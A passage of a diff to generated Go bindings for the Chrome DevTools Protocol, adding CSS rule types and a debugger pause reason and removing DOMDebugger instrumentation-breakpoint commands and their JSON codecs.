SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with the stylesheet (if any).
|
||||
Origin StyleSheetOrigin `json:"origin"` // Stylesheet origin.
|
||||
Title string `json:"title"` // Stylesheet title.
|
||||
OwnerNode cdp.BackendNodeID `json:"ownerNode,omitempty"` // The backend id for the owner node of the stylesheet.
|
||||
Disabled bool `json:"disabled"` // Denotes whether the stylesheet is disabled.
|
||||
HasSourceURL bool `json:"hasSourceURL,omitempty"` // Whether the sourceURL field value comes from the sourceURL comment.
|
||||
IsInline bool `json:"isInline"` // Whether this stylesheet is created for STYLE tag by parser. This flag is not set for document.written STYLE tags.
|
||||
IsMutable bool `json:"isMutable"` // Whether this stylesheet is mutable. Inline stylesheets become mutable after they have been modified via CSSOM API. <link> element's stylesheets become mutable only if DevTools modifies them. Constructed stylesheets (new CSSStyleSheet()) are mutable immediately after creation.
|
||||
IsConstructed bool `json:"isConstructed"` // True if this stylesheet is created through new CSSStyleSheet() or imported as a CSS module script.
|
||||
StartLine float64 `json:"startLine"` // Line offset of the stylesheet within the resource (zero based).
|
||||
StartColumn float64 `json:"startColumn"` // Column offset of the stylesheet within the resource (zero based).
|
||||
Length float64 `json:"length"` // Size of the content (in characters).
|
||||
EndLine float64 `json:"endLine"` // Line offset of the end of the stylesheet within the resource (zero based).
|
||||
EndColumn float64 `json:"endColumn"` // Column offset of the end of the stylesheet within the resource (zero based).
|
||||
LoadingFailed bool `json:"loadingFailed,omitempty"` // If the style sheet was loaded from a network resource, this indicates when the resource failed to load
|
||||
}
|
||||
|
||||
// Rule CSS rule representation.
|
||||
@@ -155,6 +167,7 @@ type StyleSheetHeader struct {
|
||||
type Rule struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
|
||||
SelectorList *SelectorList `json:"selectorList"` // Rule selector data.
|
||||
NestingSelectors []string `json:"nestingSelectors,omitempty"` // Array of selectors from ancestor style rules, sorted by distance from the current rule.
|
||||
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
|
||||
Style *Style `json:"style"` // Associated style declaration.
|
||||
Media []*Media `json:"media,omitempty"` // Media list array (for rules involving media queries). The array enumerates media queries starting with the innermost one, going outwards.
|
||||
@@ -162,6 +175,66 @@ type Rule struct {
|
||||
Supports []*Supports `json:"supports,omitempty"` // @supports CSS at-rule array. The array enumerates @supports at-rules starting with the innermost one, going outwards.
|
||||
Layers []*Layer `json:"layers,omitempty"` // Cascade layer array. Contains the layer hierarchy that this rule belongs to starting with the innermost layer and going outwards.
|
||||
Scopes []*Scope `json:"scopes,omitempty"` // @scope CSS at-rule array. The array enumerates @scope at-rules starting with the innermost one, going outwards.
|
||||
RuleTypes []RuleType `json:"ruleTypes,omitempty"` // The array keeps the types of ancestor CSSRules from the innermost going outwards.
|
||||
}
|
||||
|
||||
// RuleType enum indicating the type of a CSS rule, used to represent the
|
||||
// order of a style rule's ancestors. This list only contains rule types that
|
||||
// are collected during the ancestor rule collection.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSRuleType
|
||||
type RuleType string
|
||||
|
||||
// String returns the RuleType as string value.
|
||||
func (t RuleType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// RuleType values.
|
||||
const (
|
||||
RuleTypeMediaRule RuleType = "MediaRule"
|
||||
RuleTypeSupportsRule RuleType = "SupportsRule"
|
||||
RuleTypeContainerRule RuleType = "ContainerRule"
|
||||
RuleTypeLayerRule RuleType = "LayerRule"
|
||||
RuleTypeScopeRule RuleType = "ScopeRule"
|
||||
RuleTypeStyleRule RuleType = "StyleRule"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t RuleType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t RuleType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *RuleType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch RuleType(v) {
|
||||
case RuleTypeMediaRule:
|
||||
*t = RuleTypeMediaRule
|
||||
case RuleTypeSupportsRule:
|
||||
*t = RuleTypeSupportsRule
|
||||
case RuleTypeContainerRule:
|
||||
*t = RuleTypeContainerRule
|
||||
case RuleTypeLayerRule:
|
||||
*t = RuleTypeLayerRule
|
||||
case RuleTypeScopeRule:
|
||||
*t = RuleTypeScopeRule
|
||||
case RuleTypeStyleRule:
|
||||
*t = RuleTypeStyleRule
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown RuleType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *RuleType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// RuleUsage CSS coverage information.
|
||||
@@ -347,6 +420,23 @@ type FontFace struct {
|
||||
FontVariationAxes []*FontVariationAxis `json:"fontVariationAxes,omitempty"` // Available variation settings (a.k.a. "axes").
|
||||
}
|
||||
|
||||
// TryRule CSS try rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSTryRule
|
||||
type TryRule struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
|
||||
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
|
||||
Style *Style `json:"style"` // Associated style declaration.
|
||||
}
|
||||
|
||||
// PositionFallbackRule CSS position-fallback rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSPositionFallbackRule
|
||||
type PositionFallbackRule struct {
|
||||
Name *Value `json:"name"`
|
||||
TryRules []*TryRule `json:"tryRules"` // List of keyframes.
|
||||
}
|
||||
|
||||
// KeyframesRule CSS keyframes rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframesRule
|
||||
@@ -355,6 +445,27 @@ type KeyframesRule struct {
|
||||
Keyframes []*KeyframeRule `json:"keyframes"` // List of keyframes.
|
||||
}
|
||||
|
||||
// PropertyRegistration representation of a custom property registration
|
||||
// through CSS.registerProperty.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSPropertyRegistration
|
||||
type PropertyRegistration struct {
|
||||
PropertyName string `json:"propertyName"`
|
||||
InitialValue *Value `json:"initialValue,omitempty"`
|
||||
Inherits bool `json:"inherits"`
|
||||
Syntax string `json:"syntax"`
|
||||
}
|
||||
|
||||
// PropertyRule CSS property at-rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSPropertyRule
|
||||
type PropertyRule struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
|
||||
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
|
||||
PropertyName *Value `json:"propertyName"` // Associated property name.
|
||||
Style *Style `json:"style"` // Associated style declaration.
|
||||
}
|
||||
|
||||
// KeyframeRule CSS keyframe rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframeRule
|
||||
|
||||
+3
@@ -353,6 +353,7 @@ const (
|
||||
PausedReasonOther PausedReason = "other"
|
||||
PausedReasonPromiseRejection PausedReason = "promiseRejection"
|
||||
PausedReasonXHR PausedReason = "XHR"
|
||||
PausedReasonStep PausedReason = "step"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -393,6 +394,8 @@ func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PausedReasonPromiseRejection
|
||||
case PausedReasonXHR:
|
||||
*t = PausedReasonXHR
|
||||
case PausedReasonStep:
|
||||
*t = PausedReasonStep
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PausedReason value: %v", v))
|
||||
|
||||
+1
-3
@@ -8,9 +8,7 @@
|
||||
// nodes that are known to the client. Backend keeps track of the nodes that
|
||||
// were sent to the client and never sends the same node twice. It is client's
|
||||
// responsibility to collect information about the nodes that were sent to the
|
||||
// client.
|
||||
//
|
||||
// Note that iframe owner elements will return corresponding document
|
||||
// client. Note that iframe owner elements will return corresponding document
|
||||
// elements as their child nodes.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
|
||||
+8
-59
@@ -133,31 +133,6 @@ func (p *RemoveEventListenerBreakpointParams) Do(ctx context.Context) (err error
|
||||
return cdp.Execute(ctx, CommandRemoveEventListenerBreakpoint, p, nil)
|
||||
}
|
||||
|
||||
// RemoveInstrumentationBreakpointParams removes breakpoint on particular
|
||||
// native event.
|
||||
type RemoveInstrumentationBreakpointParams struct {
|
||||
EventName string `json:"eventName"` // Instrumentation name to stop on.
|
||||
}
|
||||
|
||||
// RemoveInstrumentationBreakpoint removes breakpoint on particular native
|
||||
// event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOMDebugger#method-removeInstrumentationBreakpoint
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// eventName - Instrumentation name to stop on.
|
||||
func RemoveInstrumentationBreakpoint(eventName string) *RemoveInstrumentationBreakpointParams {
|
||||
return &RemoveInstrumentationBreakpointParams{
|
||||
EventName: eventName,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes DOMDebugger.removeInstrumentationBreakpoint against the provided context.
|
||||
func (p *RemoveInstrumentationBreakpointParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandRemoveInstrumentationBreakpoint, p, nil)
|
||||
}
|
||||
|
||||
// RemoveXHRBreakpointParams removes breakpoint from XMLHttpRequest.
|
||||
type RemoveXHRBreakpointParams struct {
|
||||
URL string `json:"url"` // Resource URL substring.
|
||||
@@ -261,30 +236,6 @@ func (p *SetEventListenerBreakpointParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetEventListenerBreakpoint, p, nil)
|
||||
}
|
||||
|
||||
// SetInstrumentationBreakpointParams sets breakpoint on particular native
|
||||
// event.
|
||||
type SetInstrumentationBreakpointParams struct {
|
||||
EventName string `json:"eventName"` // Instrumentation name to stop on.
|
||||
}
|
||||
|
||||
// SetInstrumentationBreakpoint sets breakpoint on particular native event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOMDebugger#method-setInstrumentationBreakpoint
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// eventName - Instrumentation name to stop on.
|
||||
func SetInstrumentationBreakpoint(eventName string) *SetInstrumentationBreakpointParams {
|
||||
return &SetInstrumentationBreakpointParams{
|
||||
EventName: eventName,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes DOMDebugger.setInstrumentationBreakpoint against the provided context.
|
||||
func (p *SetInstrumentationBreakpointParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetInstrumentationBreakpoint, p, nil)
|
||||
}
|
||||
|
||||
// SetXHRBreakpointParams sets breakpoint on XMLHttpRequest.
|
||||
type SetXHRBreakpointParams struct {
|
||||
URL string `json:"url"` // Resource URL substring. All XHRs having this substring in the URL will get stopped upon.
|
||||
@@ -310,14 +261,12 @@ func (p *SetXHRBreakpointParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandGetEventListeners = "DOMDebugger.getEventListeners"
|
||||
CommandRemoveDOMBreakpoint = "DOMDebugger.removeDOMBreakpoint"
|
||||
CommandRemoveEventListenerBreakpoint = "DOMDebugger.removeEventListenerBreakpoint"
|
||||
CommandRemoveInstrumentationBreakpoint = "DOMDebugger.removeInstrumentationBreakpoint"
|
||||
CommandRemoveXHRBreakpoint = "DOMDebugger.removeXHRBreakpoint"
|
||||
CommandSetBreakOnCSPViolation = "DOMDebugger.setBreakOnCSPViolation"
|
||||
CommandSetDOMBreakpoint = "DOMDebugger.setDOMBreakpoint"
|
||||
CommandSetEventListenerBreakpoint = "DOMDebugger.setEventListenerBreakpoint"
|
||||
CommandSetInstrumentationBreakpoint = "DOMDebugger.setInstrumentationBreakpoint"
|
||||
CommandSetXHRBreakpoint = "DOMDebugger.setXHRBreakpoint"
|
||||
CommandGetEventListeners = "DOMDebugger.getEventListeners"
|
||||
CommandRemoveDOMBreakpoint = "DOMDebugger.removeDOMBreakpoint"
|
||||
CommandRemoveEventListenerBreakpoint = "DOMDebugger.removeEventListenerBreakpoint"
|
||||
CommandRemoveXHRBreakpoint = "DOMDebugger.removeXHRBreakpoint"
|
||||
CommandSetBreakOnCSPViolation = "DOMDebugger.setBreakOnCSPViolation"
|
||||
CommandSetDOMBreakpoint = "DOMDebugger.setDOMBreakpoint"
|
||||
CommandSetEventListenerBreakpoint = "DOMDebugger.setEventListenerBreakpoint"
|
||||
CommandSetXHRBreakpoint = "DOMDebugger.setXHRBreakpoint"
|
||||
)
|
||||
+54
-186
@@ -84,73 +84,7 @@ func (v *SetXHRBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
func (v *SetXHRBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(in *jlexer.Lexer, out *SetInstrumentationBreakpointParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "eventName":
|
||||
out.EventName = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(out *jwriter.Writer, in SetInstrumentationBreakpointParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"eventName\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.EventName))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetInstrumentationBreakpointParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetInstrumentationBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetInstrumentationBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetInstrumentationBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(in *jlexer.Lexer, out *SetEventListenerBreakpointParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(in *jlexer.Lexer, out *SetEventListenerBreakpointParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -183,7 +117,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(in *jlexer.Lexer
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(out *jwriter.Writer, in SetEventListenerBreakpointParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(out *jwriter.Writer, in SetEventListenerBreakpointParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -203,27 +137,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(out *jwriter.Wri
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetEventListenerBreakpointParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetEventListenerBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetEventListenerBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetEventListenerBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(in *jlexer.Lexer, out *SetDOMBreakpointParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(in *jlexer.Lexer, out *SetDOMBreakpointParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -256,7 +190,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(in *jlexer.Lexer
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(out *jwriter.Writer, in SetDOMBreakpointParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(out *jwriter.Writer, in SetDOMBreakpointParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -276,27 +210,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(out *jwriter.Wri
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetDOMBreakpointParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetDOMBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetDOMBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetDOMBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(in *jlexer.Lexer, out *SetBreakOnCSPViolationParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(in *jlexer.Lexer, out *SetBreakOnCSPViolationParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -348,7 +282,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(in *jlexer.Lexer
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(out *jwriter.Writer, in SetBreakOnCSPViolationParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(out *jwriter.Writer, in SetBreakOnCSPViolationParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -374,27 +308,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(out *jwriter.Wri
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SetBreakOnCSPViolationParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SetBreakOnCSPViolationParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SetBreakOnCSPViolationParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SetBreakOnCSPViolationParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(in *jlexer.Lexer, out *RemoveXHRBreakpointParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(in *jlexer.Lexer, out *RemoveXHRBreakpointParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
@@ -425,7 +359,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(in *jlexer.Lexer
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(out *jwriter.Writer, in RemoveXHRBreakpointParams) {
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(out *jwriter.Writer, in RemoveXHRBreakpointParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
@@ -440,93 +374,27 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(out *jwriter.Wri
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v RemoveXHRBreakpointParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(&w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v RemoveXHRBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger5(w, v)
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *RemoveXHRBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(&r, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *RemoveXHRBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(l, v)
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(in *jlexer.Lexer, out *RemoveInstrumentationBreakpointParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "eventName":
|
||||
out.EventName = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(out *jwriter.Writer, in RemoveInstrumentationBreakpointParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"eventName\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.EventName))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v RemoveInstrumentationBreakpointParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v RemoveInstrumentationBreakpointParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger6(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *RemoveInstrumentationBreakpointParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *RemoveInstrumentationBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger6(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger7(in *jlexer.Lexer, out *RemoveEventListenerBreakpointParams) {
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger5(in *jlexer.Lexer, out *RemoveEventListenerBreakpointParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
